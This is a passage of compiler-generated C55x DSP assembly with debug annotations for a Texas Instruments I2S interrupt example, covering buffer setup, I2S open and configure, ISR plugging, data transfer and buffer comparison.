.dwcfi restore_reg, 43
.dwcfi cfa_offset, 3
$C$DW$59 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$59, DW_AT_low_pc(0x00)
.dwattr $C$DW$59, DW_AT_TI_return
RETI
; return occurs
.dwattr $C$DW$54, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$54, DW_AT_TI_end_line(0x77)
.dwattr $C$DW$54, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$54
.sect ".text"
.align 4
.global _i2s_IntcSample
$C$DW$60 .dwtag DW_TAG_subprogram, DW_AT_name("i2s_IntcSample")
.dwattr $C$DW$60, DW_AT_low_pc(_i2s_IntcSample)
.dwattr $C$DW$60, DW_AT_high_pc(0x00)
.dwattr $C$DW$60, DW_AT_TI_symbol_name("_i2s_IntcSample")
.dwattr $C$DW$60, DW_AT_external
.dwattr $C$DW$60, DW_AT_type(*$C$DW$T$86)
.dwattr $C$DW$60, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$60, DW_AT_TI_begin_line(0x84)
.dwattr $C$DW$60, DW_AT_TI_begin_column(0x07)
.dwattr $C$DW$60, DW_AT_TI_max_frame_size(0x1e)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 133,column 1,is_stmt,address _i2s_IntcSample
.dwfde $C$DW$CIE, _i2s_IntcSample
;*******************************************************************************
;* FUNCTION NAME: i2s_IntcSample *
;* *
;* Function Uses Regs : AC0,AC0,AC1,AC1,T0,T1,AR0,XAR0,AR1,XAR1,AR2,AR3,XAR3,*
;* SP,CARRY,TC1,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 30 words *
;* (2 return address/alignment) *
;* (2 function parameters) *
;* (26 local values) *
;* Min System Stack : 1 word *
;*******************************************************************************
_i2s_IntcSample:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-29, SP
.dwcfi cfa_offset, 30
$C$DW$61 .dwtag DW_TAG_variable, DW_AT_name("status")
.dwattr $C$DW$61, DW_AT_TI_symbol_name("_status")
.dwattr $C$DW$61, DW_AT_type(*$C$DW$T$86)
.dwattr $C$DW$61, DW_AT_location[DW_OP_bregx 0x24 2]
$C$DW$62 .dwtag DW_TAG_variable, DW_AT_name("result")
.dwattr $C$DW$62, DW_AT_TI_symbol_name("_result")
.dwattr $C$DW$62, DW_AT_type(*$C$DW$T$86)
.dwattr $C$DW$62, DW_AT_location[DW_OP_bregx 0x24 3]
$C$DW$63 .dwtag DW_TAG_variable, DW_AT_name("hwConfig")
.dwattr $C$DW$63, DW_AT_TI_symbol_name("_hwConfig")
.dwattr $C$DW$63, DW_AT_type(*$C$DW$T$80)
.dwattr $C$DW$63, DW_AT_location[DW_OP_bregx 0x24 4]
$C$DW$64 .dwtag DW_TAG_variable, DW_AT_name("looper")
.dwattr $C$DW$64, DW_AT_TI_symbol_name("_looper")
.dwattr $C$DW$64, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$64, DW_AT_location[DW_OP_bregx 0x24 18]
$C$DW$65 .dwtag DW_TAG_variable, DW_AT_name("config")
.dwattr $C$DW$65, DW_AT_TI_symbol_name("_config")
.dwattr $C$DW$65, DW_AT_type(*$C$DW$T$83)
.dwattr $C$DW$65, DW_AT_location[DW_OP_bregx 0x24 20]
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 134,column 11,is_stmt
MOV #1, *SP(#2) ; |134|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 141,column 6,is_stmt
MOV #0, *SP(#18) ; |141|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 141,column 16,is_stmt
MOV *SP(#18), AR1 ; |141|
|| MOV #4, AR2
CMPU AR1 >= AR2, TC1 ; |141|
BCC $C$L4,TC1 ; |141|
; branchcc occurs ; |141|
$C$L3:
$C$DW$L$_i2s_IntcSample$2$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 143,column 3,is_stmt
MOV *SP(#18), T0 ; |143|
ADD #1, AR1 ; |143|
AMOV #_i2sIntcWriteBuff, XAR3 ; |143|
MOV AR1, *AR3(T0) ; |143|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 144,column 3,is_stmt
MOV *SP(#18), T0 ; |144|
AMOV #_i2sIntcReadBuff, XAR3 ; |144|
MOV #65535, *AR3(T0) ; |144|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 141,column 42,is_stmt
ADD #1, *SP(#18) ; |141|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 141,column 16,is_stmt
MOV *SP(#18), AR1 ; |141|
CMPU AR1 < AR2, TC1 ; |141|
BCC $C$L3,TC1 ; |141|
; branchcc occurs ; |141|
$C$DW$L$_i2s_IntcSample$2$E:
$C$L4:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 149,column 2,is_stmt
MOV #0, T0
|| MOV #1, T1
$C$DW$66 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$66, DW_AT_low_pc(0x00)
.dwattr $C$DW$66, DW_AT_name("_I2S_open")
.dwattr $C$DW$66, DW_AT_TI_call
CALL #_I2S_open ; |149|
|| MOV #1, AR0
; call occurs [#_I2S_open] ; |149|
MOV XAR0, dbl(*(#_i2sHandle))
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 152,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR3
MOV XAR3, AC0
|| MOV #0, AC1 ; |152|
CMPU AC1 != AC0, TC1 ; |152|
BCC $C$L5,TC1 ; |152|
; branchcc occurs ; |152|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 154,column 3,is_stmt
MOV #1, *SP(#2) ; |154|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 155,column 3,is_stmt
MOV *SP(#2), T0 ; |155|
B $C$L17 ; |155|
; branch occurs ; |155|
$C$L5:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 159,column 3,is_stmt
AMOV #$C$FSL3, XAR3 ; |159|
MOV XAR3, dbl(*SP(#0))
$C$DW$67 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$67, DW_AT_low_pc(0x00)
.dwattr $C$DW$67, DW_AT_name("_printf")
.dwattr $C$DW$67, DW_AT_TI_call
CALL #_printf ; |159|
; call occurs [#_printf] ; |159|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 163,column 2,is_stmt
MOV #0, *SP(#4) ; |163|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 164,column 2,is_stmt
MOV #1, *SP(#5) ; |164|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 165,column 2,is_stmt
MOV #0, *SP(#6) ; |165|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 166,column 2,is_stmt
MOV #1, *SP(#7) ; |166|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 167,column 2,is_stmt
MOV #0, *SP(#8) ; |167|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 168,column 2,is_stmt
MOV #1, *SP(#9) ; |168|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 169,column 2,is_stmt
MOV #0, *SP(#10) ; |169|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 170,column 2,is_stmt
MOV #4, *SP(#11) ; |170|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 171,column 2,is_stmt
MOV #1, *SP(#12) ; |171|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 172,column 2,is_stmt
MOV #1, *SP(#15) ; |172|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 173,column 2,is_stmt
MOV #2, *SP(#14) ; |173|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 174,column 2,is_stmt
MOV #1, *SP(#16) ; |174|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 175,column 2,is_stmt
MOV #1, *SP(#17) ; |175|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 178,column 2,is_stmt
AMAR *SP(#4), XAR1
MOV dbl(*(#_i2sHandle)), XAR0
$C$DW$68 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$68, DW_AT_low_pc(0x00)
.dwattr $C$DW$68, DW_AT_name("_I2S_setup")
.dwattr $C$DW$68, DW_AT_TI_call
CALL #_I2S_setup ; |178|
; call occurs [#_I2S_setup] ; |178|
MOV T0, *SP(#3) ; |178|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 180,column 2,is_stmt
MOV T0, AR1
BCC $C$L6,AR1 == #0 ; |180|
; branchcc occurs ; |180|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 182,column 3,is_stmt
MOV #1, *SP(#2) ; |182|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 183,column 3,is_stmt
MOV *SP(#2), T0 ; |183|
B $C$L17 ; |183|
; branch occurs ; |183|
$C$L6:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 187,column 3,is_stmt
AMOV #$C$FSL4, XAR3 ; |187|
MOV XAR3, dbl(*SP(#0))
$C$DW$69 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$69, DW_AT_low_pc(0x00)
.dwattr $C$DW$69, DW_AT_name("_printf")
.dwattr $C$DW$69, DW_AT_TI_call
CALL #_printf ; |187|
; call occurs [#_printf] ; |187|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 191,column 2,is_stmt
$C$DW$70 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$70, DW_AT_low_pc(0x00)
.dwattr $C$DW$70, DW_AT_name("_IRQ_clearAll")
.dwattr $C$DW$70, DW_AT_TI_call
CALL #_IRQ_clearAll ; |191|
; call occurs [#_IRQ_clearAll] ; |191|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 194,column 2,is_stmt
$C$DW$71 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$71, DW_AT_low_pc(0x00)
.dwattr $C$DW$71, DW_AT_name("_IRQ_disableAll")
.dwattr $C$DW$71, DW_AT_TI_call
CALL #_IRQ_disableAll ; |194|
; call occurs [#_IRQ_disableAll] ; |194|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 196,column 2,is_stmt
MOV #(_VECSTART >> 16) << #16, AC0 ; |196|
OR #(_VECSTART & 0xffff), AC0, AC0 ; |196|
$C$DW$72 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$72, DW_AT_low_pc(0x00)
.dwattr $C$DW$72, DW_AT_name("_IRQ_setVecs")
.dwattr $C$DW$72, DW_AT_TI_call
CALL #_IRQ_setVecs ; |196|
; call occurs [#_IRQ_setVecs] ; |196|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 199,column 5,is_stmt
MOV #(_i2s_txIsr >> 16) << #16, AC0 ; |199|
OR #(_i2s_txIsr & 0xffff), AC0, AC0 ; |199|
MOV AC0, dbl(*SP(#20)) ; |199|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 200,column 2,is_stmt
MOV dbl(*SP(#20)), AC0 ; |200|
$C$DW$73 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$73, DW_AT_low_pc(0x00)
.dwattr $C$DW$73, DW_AT_name("_IRQ_plug")
.dwattr $C$DW$73, DW_AT_TI_call
CALL #_IRQ_plug ; |200|
|| MOV #5, T0
; call occurs [#_IRQ_plug] ; |200|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 202,column 2,is_stmt
$C$DW$74 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$74, DW_AT_low_pc(0x00)
.dwattr $C$DW$74, DW_AT_name("_IRQ_enable")
.dwattr $C$DW$74, DW_AT_TI_call
CALL #_IRQ_enable ; |202|
|| MOV #5, T0
; call occurs [#_IRQ_enable] ; |202|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 204,column 2,is_stmt
$C$DW$75 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$75, DW_AT_low_pc(0x00)
.dwattr $C$DW$75, DW_AT_name("_IRQ_globalEnable")
.dwattr $C$DW$75, DW_AT_TI_call
CALL #_IRQ_globalEnable ; |204|
; call occurs [#_IRQ_globalEnable] ; |204|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 206,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR0
$C$DW$76 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$76, DW_AT_low_pc(0x00)
.dwattr $C$DW$76, DW_AT_name("_I2S_transEnable")
.dwattr $C$DW$76, DW_AT_TI_call
CALL #_I2S_transEnable ; |206|
|| MOV #1, T0
; call occurs [#_I2S_transEnable] ; |206|
MOV T0, *SP(#3) ; |206|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 207,column 8,is_stmt
CMP *(#_writeCompete) == #1, TC1 ; |207|
BCC $C$L8,TC1 ; |207|
; branchcc occurs ; |207|
$C$L7:
$C$DW$L$_i2s_IntcSample$10$B:
CMP *(#_writeCompete) == #1, TC1 ; |207|
BCC $C$L7,!TC1 ; |207|
; branchcc occurs ; |207|
$C$DW$L$_i2s_IntcSample$10$E:
$C$L8:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 208,column 2,is_stmt
$C$DW$77 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$77, DW_AT_low_pc(0x00)
.dwattr $C$DW$77, DW_AT_name("_IRQ_globalDisable")
.dwattr $C$DW$77, DW_AT_TI_call
CALL #_IRQ_globalDisable ; |208|
; call occurs [#_IRQ_globalDisable] ; |208|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 209,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR0
$C$DW$78 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$78, DW_AT_low_pc(0x00)
.dwattr $C$DW$78, DW_AT_name("_I2S_transEnable")
.dwattr $C$DW$78, DW_AT_TI_call
CALL #_I2S_transEnable ; |209|
|| MOV #0, T0
; call occurs [#_I2S_transEnable] ; |209|
MOV T0, *SP(#3) ; |209|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 211,column 2,is_stmt
MOV #(_i2s_rxIsr >> 16) << #16, AC0 ; |211|
OR #(_i2s_rxIsr & 0xffff), AC0, AC0 ; |211|
MOV AC0, dbl(*SP(#20)) ; |211|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 212,column 2,is_stmt
MOV dbl(*SP(#20)), AC0 ; |212|
$C$DW$79 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$79, DW_AT_low_pc(0x00)
.dwattr $C$DW$79, DW_AT_name("_IRQ_plug")
.dwattr $C$DW$79, DW_AT_TI_call
CALL #_IRQ_plug ; |212|
|| MOV #7, T0
; call occurs [#_IRQ_plug] ; |212|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 214,column 2,is_stmt
$C$DW$80 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$80, DW_AT_low_pc(0x00)
.dwattr $C$DW$80, DW_AT_name("_IRQ_enable")
.dwattr $C$DW$80, DW_AT_TI_call
CALL #_IRQ_enable ; |214|
|| MOV #7, T0
; call occurs [#_IRQ_enable] ; |214|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 216,column 2,is_stmt
$C$DW$81 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$81, DW_AT_low_pc(0x00)
.dwattr $C$DW$81, DW_AT_name("_IRQ_globalEnable")
.dwattr $C$DW$81, DW_AT_TI_call
CALL #_IRQ_globalEnable ; |216|
; call occurs [#_IRQ_globalEnable] ; |216|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 217,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR0
$C$DW$82 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$82, DW_AT_low_pc(0x00)
.dwattr $C$DW$82, DW_AT_name("_I2S_transEnable")
.dwattr $C$DW$82, DW_AT_TI_call
CALL #_I2S_transEnable ; |217|
|| MOV #1, T0
; call occurs [#_I2S_transEnable] ; |217|
MOV T0, *SP(#3) ; |217|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 218,column 8,is_stmt
CMP *(#_readComplete) == #1, TC1 ; |218|
BCC $C$L10,TC1 ; |218|
; branchcc occurs ; |218|
$C$L9:
$C$DW$L$_i2s_IntcSample$12$B:
CMP *(#_readComplete) == #1, TC1 ; |218|
BCC $C$L9,!TC1 ; |218|
; branchcc occurs ; |218|
$C$DW$L$_i2s_IntcSample$12$E:
$C$L10:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 219,column 2,is_stmt
$C$DW$83 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$83, DW_AT_low_pc(0x00)
.dwattr $C$DW$83, DW_AT_name("_IRQ_globalDisable")
.dwattr $C$DW$83, DW_AT_TI_call
CALL #_IRQ_globalDisable ; |219|
; call occurs [#_IRQ_globalDisable] ; |219|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 220,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR0
$C$DW$84 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$84, DW_AT_low_pc(0x00)
.dwattr $C$DW$84, DW_AT_name("_I2S_transEnable")
.dwattr $C$DW$84, DW_AT_TI_call
CALL #_I2S_transEnable ; |220|
|| MOV #0, T0
; call occurs [#_I2S_transEnable] ; |220|
MOV T0, *SP(#3) ; |220|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 223,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR0
$C$DW$85 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$85, DW_AT_low_pc(0x00)
.dwattr $C$DW$85, DW_AT_name("_I2S_reset")
.dwattr $C$DW$85, DW_AT_TI_call
CALL #_I2S_reset ; |223|
; call occurs [#_I2S_reset] ; |223|
MOV T0, *SP(#3) ; |223|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 225,column 2,is_stmt
MOV T0, AR1
BCC $C$L11,AR1 == #0 ; |225|
; branchcc occurs ; |225|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 227,column 3,is_stmt
MOV #1, T0
B $C$L17 ; |227|
; branch occurs ; |227|
$C$L11:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 231,column 3,is_stmt
AMOV #$C$FSL5, XAR3 ; |231|
MOV XAR3, dbl(*SP(#0))
$C$DW$86 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$86, DW_AT_low_pc(0x00)
.dwattr $C$DW$86, DW_AT_name("_printf")
.dwattr $C$DW$86, DW_AT_TI_call
CALL #_printf ; |231|
; call occurs [#_printf] ; |231|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 235,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR0
$C$DW$87 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$87, DW_AT_low_pc(0x00)
.dwattr $C$DW$87, DW_AT_name("_I2S_close")
.dwattr $C$DW$87, DW_AT_TI_call
CALL #_I2S_close ; |235|
; call occurs [#_I2S_close] ; |235|
MOV T0, *SP(#3) ; |235|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 237,column 2,is_stmt
MOV T0, AR1
BCC $C$L12,AR1 == #0 ; |237|
; branchcc occurs ; |237|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 239,column 3,is_stmt
MOV #1, *SP(#2) ; |239|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 240,column 3,is_stmt
MOV *SP(#2), T0 ; |240|
B $C$L17 ; |240|
; branch occurs ; |240|
$C$L12:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 244,column 3,is_stmt
AMOV #$C$FSL6, XAR3 ; |244|
MOV XAR3, dbl(*SP(#0))
$C$DW$88 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$88, DW_AT_low_pc(0x00)
.dwattr $C$DW$88, DW_AT_name("_printf")
.dwattr $C$DW$88, DW_AT_TI_call
CALL #_printf ; |244|
; call occurs [#_printf] ; |244|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 248,column 2,is_stmt
$C$DW$89 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$89, DW_AT_low_pc(0x00)
.dwattr $C$DW$89, DW_AT_name("_IRQ_clearAll")
.dwattr $C$DW$89, DW_AT_TI_call
CALL #_IRQ_clearAll ; |248|
; call occurs [#_IRQ_clearAll] ; |248|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 251,column 2,is_stmt
$C$DW$90 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$90, DW_AT_low_pc(0x00)
.dwattr $C$DW$90, DW_AT_name("_IRQ_disableAll")
.dwattr $C$DW$90, DW_AT_TI_call
CALL #_IRQ_disableAll ; |251|
; call occurs [#_IRQ_disableAll] ; |251|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 254,column 6,is_stmt
MOV #0, *SP(#18) ; |254|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 254,column 16,is_stmt
MOV *SP(#18), AR1 ; |254|
|| MOV #4, AR2
CMPU AR1 >= AR2, TC1 ; |254|
BCC $C$L15,TC1 ; |254|
; branchcc occurs ; |254|
$C$L13:
$C$DW$L$_i2s_IntcSample$20$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 256,column 3,is_stmt
MOV *SP(#18), T0 ; |256|
AMOV #_i2sIntcReadBuff, XAR3 ; |256|
MOV *AR3(T0), AR1 ; |256|
AMOV #_i2sIntcWriteBuff, XAR3 ; |256|
MOV *AR3(T0), AR2 ; |256|
CMPU AR2 == AR1, TC1 ; |256|
BCC $C$L14,TC1 ; |256|
; branchcc occurs ; |256|
$C$DW$L$_i2s_IntcSample$20$E:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 258,column 4,is_stmt
AMOV #$C$FSL7, XAR3 ; |258|
MOV XAR3, dbl(*SP(#0))
$C$DW$91 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$91, DW_AT_low_pc(0x00)
.dwattr $C$DW$91, DW_AT_name("_printf")
.dwattr $C$DW$91, DW_AT_TI_call
CALL #_printf ; |258|
; call occurs [#_printf] ; |258|
